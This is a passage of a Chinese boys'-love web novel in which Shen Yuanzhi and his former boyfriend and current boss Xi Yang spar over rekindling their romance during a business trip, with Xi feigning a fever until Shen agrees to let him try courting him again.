见他沉默,沈垣之越说越有劲,完全没注意到席殃早就变深沉的眼神,沉默的像是要将他生吞入腹。
“所以以后我俩还是该怎么样就怎么样……”
终于察觉到席殃的视线,沈垣之眉头一皱,语气停顿了一下,等他再看,席殃的眼神早就变成了“被玩了不说话惨遭退货”的可怜模样。
沈垣之眼眸一沉,声音变轻了许多:“你听到没有。”
席殃点点头:“嗯。”
“一笔勾销。”声音很沙哑。
沈垣之见他一口答应,心里有些闷闷的。但话已至此也不用再说了,于是面无表情地从床上爬了起来,下床时还很不小心地踩了席殃一下。
席殃很快吃痛地闷哼了一声。
“对不起。”
沈垣之看也不看他,语气僵硬。
正准备头也不回地往外走时,席殃突然在身后低声说道:“你说的,之前的都一笔勾销了。”
沈垣之冷笑着应了声:“是的……”
“意思就是我以后能追你。”
沈垣之脚步一顿,衣衫不整的回头震惊地看了他一眼:“谁答应你了?”
“我昨天找你要个机会。”
席殃看了他一眼,低声道:“你没拒绝。”
所有细节都记得超清楚的沈垣之惊诧道:“你还要不要脸,我拒绝两次。”
“你是拒绝了我两次。”席殃背靠在床头,语气认真:“可最后一次,你没说话。”
沈垣之脸猛地一沉,丝毫没注意到自己的逻辑正被席殃带着跑:“我那是,”
“你有病吧。”
语气一顿,他皱了皱眉:“我那是要睡着了。”
“所以你没拒绝我。”
席殃语气平静,但十分斩钉截铁:“没拒绝不就是可以?可以不就是能追?”【你现在阅读的是魔蝎小说 moxiexs】
30-40
第31章 第 31 章 “你发烧了?”
神经病。
沈垣之红着脸回到了自己的卧室。
是被臊的, 更是被气的。
尤其是走到客厅了还听见席殃在卧室里还在追问“行不行”时,他脚步踉跄,差点摔倒, 恨不得再回去给他一拳让他醒醒别做梦了。
一晚上而已。
席殃就像是被鬼附身一样自话自说。
到底谁让他追了?
沈垣之想破了脑袋也想不出席殃凭什么这么笃定,踉跄着将卧室门大力关上,他木着一张脸进了浴室。
正准备脱下衣服时, 他眉头微微一皱,低头看了眼衣衫不整的自己,突然发现一晚上袖子莫名其妙变长了,顿时哪哪都看不顺眼。
以前在一起的时候席殃连袜子也愿意帮他换, 现在连件衣服都不给他换一个, 这就是他追人的态度?
意识到自己在想些什么,沈垣之很快捧了一捧冷水拍了拍自己。他很快冷静下来,脱下衣服后开了淋浴头。
片刻后水声一停。
沈垣之顶着一张臊红的脸从浴室里走了出来,他没穿衣服, 下半身仅仅只围了件浴巾就出来了,被特意关照的小腹处欲盖弥彰,被人连亲带啃, 牙印很明显。
手里提着一件衬衣, 沈垣之脸红的能滴出血来。
他冤枉席殃了。
席殃哪里是没给他换衣服, 换是换了, 给他换的是他自己的衬衣, 而且不知道趁他睡着的时候做了什么,他全身上下就没一个好地方,沈垣之能去问吗,那势必不能。
就凭席殃那张嘴,到时候吃亏的还是自己。
而且他实在要脸, 不想顶着满身吻痕去问他这些痕迹是怎么弄出来的,到时候不知道席殃又能怎么诡辩。
脑子里突然浮现出席殃跪在地上百般讨好他那湿润的嘴唇,正值盛怒的沈垣之瞬间哑了火,沉默片刻后,木着脸将不属于他的衬衣扔的好远。
故意将水温调低了些,沈垣之盯着眼前飘起来的水雾,抿着唇在身上打了好几层泡沫,温热的水流过全身。
他有些失神地想,怎么事情完全不按照他的节奏发展,到底是哪一步出了错。
不是说好了不玩吗。
怎么现在不受他控制了呢。
席殃真要追他吗。
压下心里那些隐秘的情绪,沈垣之闭着眼很轻地摇了摇头,不管怎么样,他只要坚定自己的立场就行。
再说了,席殃说的话到底有几分真,他以前也说喜欢最后不也走了,回来了态度对他还那么差。明明昨晚好不容易下定了决心,情绪也宣泄出来了,一切都要过去了,偏偏在他不需要的时候又凑过来。
沈垣之一想到这事就烦躁,要是席殃拿以前的态度对他就算了,可他故意示弱,偏偏沈垣之还吃这一套。
有点恼羞成怒,沈垣之索性不再想了。
颇有怨气地洗完了澡,沈垣之渐渐从混乱的思绪中清醒了过来,兵来将挡,水来土掩,目前最重要的是工作。
就算席殃真的再不要脸地勾引他一次,他也能坐怀不乱。
洗完澡出浴室的时候,沈垣之的手机恰好震了一下,他一边擦干身上的水痕,一边打开了手机。
是冯沅发来的消息。
【冯沅:沈哥,你起来了吗?】
看到冯沅发来的消息,正洗漱的沈垣之显得略微有些迟疑,这才后知后觉想起工作上的事,他目光微凝,眉头轻轻皱了一下。
也不知道他们昨天和廖教授聊的怎么样。
【沈垣之:嗯。】
【沈垣之:昨天,】
有些迟疑地打下两个字,沈垣之斟酌着怎么问才好,其实他大可以出去问席殃工作进程如何,这本来就是他工作上应该做的事,但他现在不太想看见席殃。
好在冯沅是个直肠子,有什么说什么。
【冯沅:小杜姐问我们什么时候返程,她提前订机票,她说你没回他消息。】
沈垣之见状切出了聊天框,果然看见杜婧笙发来的微信消息,她旁边的小红点有很多,最后一条是一个意味不明的小黄豆微笑。
时间在不久前。
沈垣之顿时觉得有些不妙。
杜婧笙虽说年纪轻轻,心思却细腻的厉害,再加上她敏锐的洞察力,沈垣之作贼心虚,觉得哪哪都被看穿了。
眸光一凝,他先回了冯沅,问了问昨天具体情况。
【冯沅:都挺好的,我们去打了高尔夫,还喝了下午茶,最后廖教授带了几个朋友过来和席总聊了一会儿,结束的时候廖教授邀请我们参加一中不久后的周年庆。】
【沈垣之:有说项目的事吗?】
【冯沅:算有吧,他们看了图纸,不过廖教授也没多说什么,就只指出了几个楼层问题。】
【沈垣之:什么问题?】
【冯沅:大概是因为之前重新修整过教学楼,增加了几条线路。】
沈垣之皱眉。
【沈垣之:席总知道吗?】
【冯沅:我当时顾着听廖教授说去了,没注意。】
沈垣之眉头皱得更深了。
若是廖教授主动和席殃指出不合理的地方,那就说明至少有很大的把握,但要只是跟冯沅说……
他得问清楚。
不再想和席殃私人的事情,沈垣之套了件白色衬衣,将扣子扣到最上面,又换了条长长的西装裤,很快走了出去。
稍稍一拧,门一开,扑面而来的是浓浓的奶香面包味。
沈垣之愣了一下。
在客厅巡视一番没看见席殃的身影,沈垣之看了眼席殃紧闭的房门,沉默片刻后,他打开了门。
茶几上果真摆着他爱吃的奶油面包,像是刚出炉的,散发着浓郁的香味,旁边还贴心的放了一杯温热的蜂蜜水,解酒的。
旁边还有字条。
【吃完早餐再聊工作。】
席殃在这行字旁画了一个笑脸。
沈垣之眉头轻轻皱了一下,心想席殃怎么知道他要聊工作,而且虽然他不想理席殃,但面包没错,蜂蜜水也没错,不吃浪费。
这样想着,便心安理得的坐了下来。
奶油面包还是热的,咬一口还掉酥,有些像学校门口那阿姨卖的味道,甜而不腻的口感让沈垣之忐忑的心渐渐平静了下来。
但他一边吃着,一边担心席殃突然从卧室里出来抓到他正在偷吃,又和他说些有的没的,但好在一直到他吃完,席殃都没出来。
喝完最后一口温热的蜂蜜水,沈垣之下意识看了下手机,已经快到九点了,主卧还是没有什么动静。
沈垣之心沉了一下。
眉头微微一皱,犹豫片刻后他走了过去,无论怎么样,他还是得问问席殃项目进程,很多事情等着他来安排,工作上的事他拧得很清楚。
脚步刚停在卧室门口,手刚敲了一下,卧室门立马就开了。
还没调整好情绪的沈垣之:“……”
站在门口的席殃眼眸沉沉的,自上而下地看他,双目对视,他露出一抹很淡的笑往后退了一步,示意他进来。
他像是刚洗完澡,上半身什么都没穿,劲瘦的腰身下就围了件浴巾,全身湿漉漉的,有股淡淡的香味,怎么看都是勾引人的做派。
压下心里那点涟漪,沈垣之的目光很短暂的在他身上停留了几秒:“席总我就不进去了,我想问问你昨天和廖教授聊的怎么样,听冯沅说……”
“图纸上有一点点小问题。”
席殃见状也不多说什么,倚在门口看着他,唇边含着很淡的笑:“不过谈的差不多了,就等通知。”
沈垣之闻言眼眸一亮。
天知道他为这个项目付出了多少,年前跑了不知道多少次教育部不说,熬了多少次夜才整理出几份能用的资料来,公司上下都看着这个项目,连总部都想分着一杯羹。
本以为还得疏通关系,没想到只是出了趟差还真的拿下来了。
沈垣之松了一口气:“太好了。”
眼下只想着终于能交差了,沈垣之没顾忌什么,朝席殃也露出几分笑意。
席殃盯着他脸颊旁的梨涡看了好几眼,眼眸沉了沉,声音低低地:“就这么开心?”
沈垣之很快正了神色:“当然。”
说完他看了席殃一眼:“难道你不开心吗?”
双目对视,沈垣之立马觉得有些不妥,没等他调整好情绪,席殃就像抓到机会般很快地朝他点了下头:“开心,我们来庆祝一下吧。”
沈垣之一愣:“怎么……”
话刚落音,席殃突然轻轻搂了他一下。
“很开心。”刻意保持着距离,席殃低声道:“这段时间谢谢你,做得很好。”
沈垣之一愣。
他在生活中听过很多人对他说“做得很好”,有同事,有领导,还有很多工作上往来的人,但对于他来说,这些只是场面话,听听就好。
但话从席殃嘴里说出来是不一样的,席殃是个不会说场面话的人,他大概是觉得沈垣之这次真的很棒。
被人认同的感觉太好了,沈垣之面无表情眨了下眼,刚想冷血地将人推开,可耳朵旁传来的呼吸太过灼热,很不同寻常。
秉着对席殃身体毫无想法的心态,他伸手轻轻摸了摸他的后背,果不其然有些烫手,沈垣之往后退了一步,眉心一皱:“你发烧了?”
这一说不要紧,说完就发现席殃脸红的一些不正常。
席殃抬起眼皮看了他一眼,并不说话。
沈垣之见状心渐渐冷静了下来。
席殃一直都是一个很憋得住的人,以前和他在一起的时候,两人不知道因为席殃这个死倔驴脾气吵过多少次架。
比如某次校运会,沈垣之作为班长忙的全学校到处乱跑,后来听到班上有人跑步受伤时,他也只是将随身携带的药箱给了传话那人,很快就去忙了。
可后面才知道席殃就是受伤的人,脚踝扭伤,肿了好大一块,在他面前还装无事发生,后来洗澡的时候,沈垣之才注意到他有些不对劲。
后面沈垣之就生气了。
一是生气自己对席殃不够上心,没注意到他脚疼,但最生气的是席殃什么都不愿意主动和他说。
这也是沈垣之对席殃当初在车上争执时说出的那句“这是他自己的事”反应那么大的原因。
席殃将什么事都分得很清楚。
沈垣之的事可以是他席殃的事,可席殃的事就只是席殃的事,只要他不说,沈垣之就插不了手。
思绪回笼,沈垣之的心很快沉了下来。
他背过身不再说什么,正准备让客房送点体温计之类的东西上来时,便听见席殃在他身后低低地说了一句:“你怎么才发现呀。”
“沈垣之,”一字一句念着他的名字,席殃叹了一口气:“我都头晕好久了。”
第32章 第 32 章 “你管管我好不好?”……
席殃语气真的很那个。
沈垣之描述不出来, 但此刻混乱的脑子不仅被一条加粗加黑的字体所占据,甚至还贴心的配上了音:“天啊,他这是在干什么?”类似于这样的感慨。
吃软不吃硬的沈垣之不想承认, 他确实很吃这一套。
见他沉默,席殃还轻轻咳了一声。
声音低哑,咳的都很好听, 一听就知道是故意的。但沈垣之还是眉头一皱,忍不住替他揪心了一下。
“怎么办,”席殃声音低低地:“我头好疼。”
声音很轻,发热后像是有气无力, 落在耳朵里像是在喘, 配上略微语尾上扬的语调,听的沈垣之脸一下就红了。
悄无声息地压下心里那点被讨好后的情绪,沈垣之木着脸回过了头。
入目就是袒露的胸膛。
本白皙的皮肤因发烧而显得有些微红,白里带粉, 那里微微隆起不过分突兀,向下肌肉线条流畅,两人咫尺距离间还带着一层层温度, 扑面而来的就是热意和香气。
目光一怔, 沈垣之眼睛都不知往哪放。
心想发烧了都不老实。
但视线瞟到席殃那红的实在有些不正常的眼尾时, 沈垣之心中那份悸动很快就被怒火所取代, 顾不上合不合适, 压着火气,冷着脸先进了他的卧室。
“你先穿上衣服。”
看了眼中控温度,沈垣之像是想到了什么,冷冷的补了一句:“留过洋的就是不一样,知道自己发烧了还敢洗澡。”
话刚落音, 席殃很快就笑了,像是丝毫听不出沈垣之语气里的阴阳怪气。
正调高室内温度的沈垣之一听到这笑声皱眉刚想动怒,回头去看便落进了席殃含着笑意,沉沉的眼眸里。
目光一怔,沈垣之立马就移开了视线。
霎时间两人默契的保持了沉默,除了房内渐渐运行的空调声外,空气里呼吸声仿佛都放轻了些。
感受到卧室温度上升,沈垣之刚想给客房服务打个电话,身后便传来一阵窸窣声,用余光去看,发现席殃正背对着他换衣服。
后背很宽,浴巾洒在地上。
房内依旧没开灯,窗帘厚重,隐约有光线落进来,沈垣之扫了一眼便很快移开了视线,心控制不住的跳了几下。
好在席殃是真的不舒服,没有故意撩拨他了。
等沈垣之回头时,他已经默不作声地躺回了床上,眼尾耸拉着,像是闭上了眼,头没什么力气的歪在一旁。
沈垣之心一紧,唇也轻轻抿住了。
沉默之际,酒店前台接了电话,沈垣之回过神来应了声,和他们要了体温计,挂了电话后他犹豫了一会儿,还是走进了卧室。
“送你去医院好不好?”
对待病人,沈垣之声音下意识轻了些,话刚落音席殃眼皮就抬了一下,眼眸沉沉的,盯着他不说话,明显一副不想去的样子。
沈垣之拿他没办法。
总不可能强迫他去吧,而且他早上生龙活虎的,还能撩拨人,估计也不会严重到哪去。
明知道表演成分多于实际情况,也知道席殃向来不是一个不会照顾自己的人,但见他现在这副病怏怏的样子,沈垣之还是有些于心不忍。
毕竟昨天席殃给他口了。
也是很尽心尽力的。
对于这种发生过肌肤之亲的人,男人心里总会柔和几分。
转头又想,要不让冯沅来照顾他吧,但人家又不是助理,在席殃又低声喊头疼时,沈垣之思绪很快打断,拧着眉不由自主的走了过去。
伸手摸了摸席殃的额头,其实压根就没多烫。
沈垣之嘴唇一动,想拆穿他,最好让他下不了台,但转念一想,还是算了。
“你睡一会儿,”沈垣之声音没之前那么生硬,但也没给他什么好脸色:“等测完温度后实在不行就去医院。”
席殃“嗯”了一声,头轻轻一垂,就极其自然地寻着沈垣之的手心闭上了眼。
“……”
见怪不怪了。
枕个手心又算不了什么。
沈垣之木着脸索性坐在了床沿边,他看了眼闭着眼,呼吸均匀的席殃,片刻后腾出另一只手,拿出了手机。
微信里很多人都在找他。
估计是一中项目的事传了过去,黎炫刚刚给他发了很多消息,先是开心转圈,又是撒花,各种表情包应有尽有。
最后还说想放松一下搞个团建,这次预算够,问他有没有推荐的地方。
沈垣之眼眸微颤,他看了眼席殃,心里渐渐冒出那个遥远的国度。不过最后他敷衍的说了几个地名,很快转移了话题。
【沈垣之:我昨天去了你要找的那家咖啡店,但老板不在,加了他男朋友的微信,我推给你?】
黎炫很快就应了声。
沈垣之先是和余杭打了声招呼,见他没有异议才将微信推给了黎炫,之后又点开了工作群,确认没什么需要他处理的问题后,才犹犹豫豫地看了杜婧笙的头像一眼。
杜婧笙不久前还在群里艾特了他。
总觉得没什么好事,但又不能视而不见,沉默片刻后,沈垣之点了进去。
刚开始还好,杜婧笙就问了问项目上的问题,再就是考察冯沅这次出差的表现如何,到了今早,估计是接到项目顺利的消息,问他要不要买返程机票,或者是返程的具体时间。
从第一条短信横跨到最后一条,中间恰好是昨天他和席殃在一起的时间,他当时手脚都忙着,哪里有时间回她消息。
【杜婧笙:你和席总怎么都不回我,在忙吗?】
看着这条消息,以及最后那个意味不明的小黄脸微笑,沈垣之心一顿,眉头轻轻皱了一下。
他知道杜婧笙早看出来他和席殃关系不一般,这种被人看透的感觉沈垣之并不喜欢。
对他来说,感情是很私密的事。
以前和席殃在一起的时候,他从没想公开,就连薄言也不知道他和席殃谈过恋爱。当时不仅仅只是因为年纪小,也不是因为他俩是同性恋,可能会遭人白眼。
沈垣之从不担心这些。
他就像一个筑巢的鸟儿,在不为人知的地方,找一个很隐秘的角落,叼着一根又一根的稻草慢慢的筑巢,直到巢穴足够大,足够安稳,能挡住一切风雨后他才会有信心让大家都来瞧一瞧。
在此之前,沈垣之是不会将一段刚处于萌芽阶段的“巢穴”展现在他人面前,对待寻常感情他也是如此,亲密关系更甚。
当初席殃离开后,沈垣之思考过两人分开的原因,但他是被抛弃的、被留下来的,因此他并不想苛责自己。
所以他将分手原因归咎于席殃身上后便戛然而止。
他问心无愧。
或许是席殃今天在他面前罕见地表现出脆弱的一面,沈垣之也反思了一下自己。
当初是不是没给足席殃安全感。
沈垣之动了动被席殃枕着的掌心,没等他继续想下去,门口很快传来了敲门声。小心翼翼腾出被压麻的手,沈垣之看了眼正熟睡的席殃,他放轻脚步,走了出去。
从客房经理手中接过温度计,沈垣之道过谢后折返了席殃的卧室,席殃睡的不安稳,一听到动静就抬起眼皮看他。
刚刚自我剖析了一番,沈垣之这会儿被看的有些不自在,将体温计递给他之后,没去管席殃投来的视线,沈垣之退出了卧室。
但也没走远。
窝囊的在客厅里走了一会儿,竖起耳尖听卧室的动静,等了一会儿,也没听见席殃叫他,沈垣之便随便找了地方坐了下来。
杜婧笙的消息还没回。
右手被枕的发麻,沈垣之便用左手打字,他手机屏幕很大,最右边的字母怎么都按不到,尝试了一会儿后,沈垣之干脆放弃,转而用了语音。
左手按着,沈垣之开口就是胡诌。
“很忙。”
“席总也很忙。”
“麻烦你帮忙订……”
他琢磨着什么时候返程才好,语气刚一停顿,屋内便传来席殃的声音。
“沈垣之。”
席殃声音低低的,透过一层门偏偏也没有丝毫没削低音量:“体温计温度显示好高。”
声音骤然降低,语调被拖得很长:“你管管我好不好?”
“……”
沈垣之闭了下眼。
从他接过水银体温计,再到将体温计递给席殃,中间还不过几分钟,怎么可能那么快就有温度了。
又来这套。
沈垣之心里简直是难以言喻的崩溃,打他还嫌手疼,骂他也骂够了,走又走不了,又狠不下心对他说重一点的话。
真的快被烦死了。
沈垣之重重的磨了下牙,他低头看了眼屏幕,意识到还按着语音键,眼眸微愣,喉结一滚,他接着之前没说完的话:“订明天下午的机票。”
话刚落音,他松了手。
语音很快发了过去。
沈垣之心猛地震了一震,下意识长按想要撤回,脑海里倏然浮现出席殃那双眼,就这一眼,沈垣之长按撤回的手犹豫着从屏幕上移开了。
席殃一见他眼眸就沉了几分,主动将体温计递给他,沈垣之低头一看,才37度。
脸一黑,他刚想骂。
席殃就朝他弯着眼睛笑了一下。
与此同时,沈垣之手机震了又震,不出所料,杜婧笙发来了消息,除了满屏的点赞大拇指外,她发来一个非常雀跃的语气词:“哇哦。”
“好嗑好嗑。”
第33章 第 33 章 “我还喜欢骚的。”……
沈垣之一愣, 盯着屏幕看了好几眼。
虽然当时知道发出去杜婧笙大概率会误会,现在事实也证明正是如此,但沈垣之不知道该怎么解释, 明明两人早就分开了——
现在到底是在干嘛。
沈垣之不动声色地叹了口气。
但转念一想,其实也是怪席殃。
要不是昨天他勾引他,一大早还大言不惭说要追他, 又是说发烧不舒服,进而影响了沈垣之本就混乱的思绪,他也不会做出这样的事来。
这样看来看,始作俑者还是席殃。
推卸责任后沈垣之心里舒坦了很多, 他没想再解释什么, 十分强硬地转移了话题。
杜婧笙是个成熟的好同事,并没有揪着沈垣之不爱聊的话题,和他确认了明天的航班信息后,聊了几句就没再继续聊了。
沈垣之松了口气。
没等他切出后台, 便后知后觉一道视线落在了他屏幕上,沈垣之警觉地侧了下手机,稍抬眼皮去看, 果不其然抓到席殃不知何时凑到了他身边。
正低着头, 光明正大的和他一起, 看他的手机。
“……”
没等沈垣之开口说什么, 席殃便凑了过来:“我没看清, 给我看看,你在和谁聊天。”
话刚落音,一双深眸便盯着他看。
沈垣之很快从震惊中回过神来,他皱眉按了熄屏,看了席殃一眼冷言道:“为什么给你看?”
席殃笑了笑, 没说话。
空气突然安静了下来,本想离开的沈垣之看了眼他惨白的面容,皱着眉补充了句:“别人。”
“别人是谁?”
席殃立马追问,像是想到了什么,他眼眸一沉,唇边的笑意淡了些:“昨天酒吧里加你微信的那个老男人?”
“老男人?”
沈垣之顿了一下,意识到他是在说谁,眉头一皱:“人家余老板哪里是老男人了。”
“看样子和你差不多大。”
席殃闻言眼眸一沉,突然默不作声地往后一靠。没等沈垣之反应过来,他便扯了一下被子,扭过头去不再看沈垣之,一大半的脸都藏了起来。
沈垣之:“……”
你再这样一个试试呢?
面无表情地看着席殃被折腾得乱七八糟的头发,明知道他又开始了,又是故意在他面前装模作样,但沈垣之还是控制不住心落了几拍。
沈垣之一边阴测测地磨着牙,一边不争气的嘴巴自顾自的地说着话:“余老板看着比你大一点,”
席殃没动静。
“好吧。”沈垣之声音轻飘飘的:“大很多点,”
“行了吧?”
席殃还是没动静。
正疑惑时,沈垣之小心翼翼凑近了些,果不其然看见席殃眉眼一弯,抿紧了唇,沈垣之刚想移开,席殃便扭过头对他笑了笑。
眼眸沉沉的,笑得有些含蓄,可能因为有点发热,整个人没了往日的凌厉气场,稍稍显的有些病态。
视线带着温度,不失温柔。
沈垣之有些不自然的移开视线,听见席殃低低的“嗯”了一声:“我不吃醋了。”
心猛地一跳,沈垣之实在有点待不下去了,他眉头一皱,站起了身,声音重了些:“你要是没事的话我就先出去了。”
话刚落音,席殃便看了过来。
沈垣之有些心虚,其实他出去也没什么事,如果席殃借着不舒服非要他陪着的话,作为下属,他也找不到什么好的理由推辞。
“嗯。”出乎意料地,席殃点点头:“出去吧。”
“好,”
沈垣之语气一顿,有些诧异地看了他一眼。
“你很久没休息了吧,”席殃语气很轻:“这次回去之后估计还有得忙,”
“给你放一天假,好不好?”
沈垣之从去年年末一直忙,忙到喘口气的时间都没有,薄言约了他几次都没时间见面,偶尔双休还得回公司加班,更别说手机二十四小时不离手,生怕有人找。
放假当然好啊。
“你不是还……”斟酌着这话该不该说,沈垣之语气一顿,“发着烧?”
话刚落音,沈垣之立马就觉得有些不妥,正准备找补时,席殃噙着笑的声音就传了过来:“我等会儿吃完药就休息了。”
沈垣之应了声。
心想那最好不过了。
正准备离开时,身后又传来席殃的声音:“等等,你过来一下。”
说完,他还轻轻拍了拍床边。
沈垣之下意识想拒绝,但对上席殃那双沉沉的眼眸后,他犹豫片刻,还是走了过去。
离的稍微近了些,没等沈垣之开口,席殃便轻轻攥了一下他的手腕,稍稍用力便带着他坐在了床边。
席殃也顺势坐了起来。
双目对视,呼吸间似乎染上了温度,沈垣之压下心中慌乱,挣扎了一下被握住的手腕,没一会儿,席殃就松开了。
只是那双沉沉的眼依旧停在他身上。
沈垣之被看的呼吸微怔,轻轻皱眉:“你……”
“你在这我休息不好,”
沉默了一会儿,席殃解释道:“总想找机会亲你。”
沈垣之抬眸看了他一眼。
双目对视,席殃笑了笑,他盯着沈垣之的唇,低声追问道:“可以吗?”
“当然不可以!”
沈垣之狠狠地瞪了他一眼,沉默片刻后,他十分恼怒地问出了憋了很久都没问的那个问题:“我很早就想问了,先不说我还没答应让你追我。”
“就说你在哪里学的这么多手段,卖惨,示弱还不够,一上来就要亲嘴?”
像是想到了什么,沈垣之冷笑了一声:“你在国外也这样追的人?”
话刚落音,席殃眼眸里就噙上了笑意,他唇角上扬的厉害,语气间毫不掩饰着开心:“没有。”
“没有。”两个字被他拖得很长,像是想到了什么,他看了沈垣之一眼:“不过以前有个人确实是这样追的我。”
“不太熟的时候,就让我亲亲他。”
“抱抱他。”
“有时候还……”
“好了,你不要再说了。”
有个人·沈垣之本人瞬间哑火,面无表情地打断道,沉默片刻后,下意识反驳:“我当时追你都是经过深思熟虑后做出的决定,怎么追你也是在我的计划之中。”
“你当时那么高冷,谁都不理,按照常规套路能追到你吗?”
席殃摇摇头:“不能。”
意识到又被他往坑里带,沈垣之皱了皱眉,不想再多说什么,他索性站起身来:“我先出去了,你早点休息。”
“等一下。”席殃闻言声音轻了许多:“你觉得我这个方法不好,那我再换个行吗?”
沈垣之并不上当:“我什么时候同意你追我了?”
沉默片刻后,他终于忍不住地说出了重话:“我俩才大吵一架,我说我不想玩了,早就对你失望透顶了,你觉得你现在这样合适吗?”
“不合适,”席殃打断道:“但不管你打我还是骂我,我也是要追的。”
席殃一双眼眸沉沉地看着他,语气认真一点都不像是说假话,沈垣之气的倒吸了口凉气。
沉默片刻后,他眼眸一冷:“你不是问我喜欢什么样的吗?”
席殃抬了下眼。
“我喜欢送上门让我玩的。”
“已经被你玩了。”
席殃立马开口,像是终于抓到了机会,他凑了过来,声音很轻:“你是不是不认账了。”
沈垣之:“……”
被怼得哑口无言,沈垣之眉间涌上几分阴郁,他压下心里被激起的怒火,语气上挑,无师自通地冷哼了声:“这才哪到哪儿。”
在席殃略带诧异的视线下,沈垣之自上而下地看了他一眼,炙热的视线一寸寸在他身上划过,呼吸间都因着这道视线染上了温度。
沈垣之眼眸很沉。
他看着席殃,很慢很轻地舔了一下唇,白皙的手指从席殃露出的锁骨漫不经心地向下划,隔着一层薄薄的布料,似若无物地递去灼人的温度。
席殃眼神一下就变了。
喉结一滚,完全没了之前的那份从容。
沈垣之将席殃的变化收于眼底,食指一路向下,强装镇定地往席殃紧绷的腰身划去。
片刻间,指腹下的腹肌一鼓,很快就清晰起来。
食指实在被烫的厉害,沈垣之一顿,默不作声地低头看了好几眼。
“小圆……”
被看的有些受不了,席殃声音低哑,伸出了一只手臂拦住了他。
手指被拦住了去向,扳回一城的沈垣之满意地哼了一声,他稍抬眼皮,镇定自若地朝席殃露出了一抹笑意:“我不仅喜欢主动送上门来被我玩的。”
“我之前不是在短信里说过了吗。”他眯了眯眼,湿润的嘴唇微微一动:“我还喜欢骚的。”
席殃眼眸一沉,盯着他的唇看了许久。
“席总,你抖什么?”
手指没了阻拦,又停在了紧绷的腰腹间,沈垣之心脏跳个不停,表面上却依旧镇定,双目对视,他故意压低了声音,不屑地哼了一声。
“想追我,你就只有这点能耐?”
第34章 第 34 章 “那我就要醋死啦。”……
事实证明, 两人都只是爱在嘴上占对方点便宜,要是真能干点什么,以前在恋爱期间早就干柴烈火烧起来了。
经过沈垣之这一反击, 席殃也不再像之前那样不正经了,整个人的气场沉了下来,除开呼吸有些重之外, 和平常工作时的状态没什么区别。
沈垣之也很快将手指收了回来。
情绪平静下来后,他没急着离开,只是低着头轻轻摩挲着触碰过席殃的手指,将唇抿得很紧。
注意到他的小动作, 席殃叹了口气, 轻轻搂住了他,或许是这次太过温柔,沈垣之并没有拒绝。
“我知道你在想什么,”席殃声音很轻:“我这些年身边没人, 除了上学就是工作。”
“当年离开是我的错,我再也不敢了。”席殃语气一顿:“我总是很想你。”
以前在一起的时候,席殃也从没有这样直接表达过自己的情绪, 他向来都是接收情绪的那一方。
沈垣之愣了一下。
“以后你去哪我去哪, 我都听你的。”
沈垣之下意识反驳:“三个月……”
“什么三个月, 回来了我就没想走了。”
席殃哑声道:“沈垣之, 你就当泄愤, 就当报复我,再给我次机会好不好?”
沈垣之不说话了。
说再多也没有用。
余杭说得对,你拿着真感情和别人怎么玩,过了这些年了,他哪怕在心里给别人分一点点角落出来呢, 很可惜,他和别人连玩一玩的想法都没有过。
时间过的很快,人也来去匆匆,他曾经一度以为自己不喜欢席殃了。
但一见面就不行。
重逢后他纠结过,冷淡,恼羞成怒,发匿名短信,想报复,翻来覆去不想玩了,情绪起伏大的都要去医院检查,要被人送去治治脑子了。
他什么办法都试过了,可心里还是有道声音在不停说话:“你喜欢他。”
“生气也喜欢。”
“分开了这么多年还是喜欢。”
没办法。
沉默片刻后,沈垣之闭了下眼,他像是妥协,又像是无可奈何,声音有些颤抖:“那你试试吧。”
席殃一愣。
在沈垣之看不见的视线里,那双向来平静的眼眸里瞬间染上了湿意。
两人静静地抱了一会儿,直到沈垣之主动松开。
“回G市后行程会排得很紧,要去现场勘查,整理很多资料,不仅要出差还要加很多班。”
席殃声音有些哑,话题跳的非常快,沈垣之看了他一眼,一时没反应过来。
席殃用手指轻轻蹭了下眼睛,语气含上了笑意:“我病的是个好时候,能让我们稍稍喘口气。”
沈垣之皱了皱眉。
“明天才返程,你可以好好休息一下。”席殃语气一顿,声音放得很轻:“你要是不想走远,楼上我开了间电竞房,你可以玩玩游戏。”
沈垣之闻言愣了一下。
席殃见状眼眸里的笑意更深了些:“等玩完游戏,还可以去楼下泡泡温泉,酒店附近有一家你喜欢吃的火锅店,我已经提前预约过了。”
他抿了抿唇:“可以让冯沅陪你去吃。”
“吃完之后可以到处逛逛,想吃什么就吃什么,想买什么就买什么,我买单。”
席殃的声音像几朵绒毛划过滚烫的耳尖,像哄小孩一样,沈垣之拧着的眉头就这样被默默熨平了。
他心一动,面无表情地揪了揪无辜的被子,虽然答应了试一试,但还是有些别扭道:“我又不是小孩子。”
“而且我现在已经不玩网游了。”
“也不喜欢吃火锅。”
说完像是想到了什么,他压了压嘴角,斜着眼看席殃,面露不屑道:“好歹是留过洋的,你就这样追人?”
席殃闻言低笑了声:“是呀。”
“时间紧急,只好委屈委屈你。”他笑道:“等回了G市,我再大展身手好不好?”
沈垣之抿了一下唇。
“而且我没追过人,以前被我那可爱帅气的初恋男友追的时候没认真学习。”
“人家哼哼唧唧地贴过来,我也就死皮赖脸地贴过去了。”
沈垣之:“……”
“当时什么都没学到,现在只好自己瞎摸索。”席殃背靠在床上,眼眸含笑:“要是有您的反馈就好了。”
“这个追人的方法你要是不喜欢,那我就能再换一个方式。”
压下快要跳到嗓子眼的心跳声,沈垣之有些不自然地移开视线:“我都不喜欢。”
“哪个方式都不喜欢。”
“那太好了。”
席殃偏头看他,声音很轻:“那我就能一直追你了。”
——
别看沈垣之现在是个正经人。
在很久很久以前,他可是远近闻名的网瘾少年。比如lol,又或者是地下城与勇士,只要是带有“通关”、“对抗”性质的moba类游戏,他都爱玩。
不仅如此,无论是学习还是游戏,他都要做最强的那个,每次周末偷偷溜去网吧练练技术,上学的时候让“万人”膜拜。
是一个好胜心极强的幼稚高中生。
席殃就不爱玩游戏,但每次都会陪他去网吧,沈垣之在一旁玩游戏,他就在旁边玩沈垣之——
好吧,大多时候是沈垣之玩他。
在等待游戏加载期间,又或者是游戏人物“死”了的时候,沈垣之就会哼哼唧唧凑过去找席殃要安慰,类似于:“席殃席殃,我又死了,难过。”
“队友太菜,难过。”
沈垣之长得好看,尤其是一双会说话的眼睛,睫毛很长,皮肤白里透着红,轻轻一掐仿佛都能掐出水,平时在班上正经的样子在席殃眼里就显得嫩,撒起娇来更是又萌又可爱。
席殃装不过三秒就凑了过去。
沈垣之心满意足的和他亲亲之后就会老实一段时间,等到又重新加载或者是又输了,就不厌其烦的故技重施。
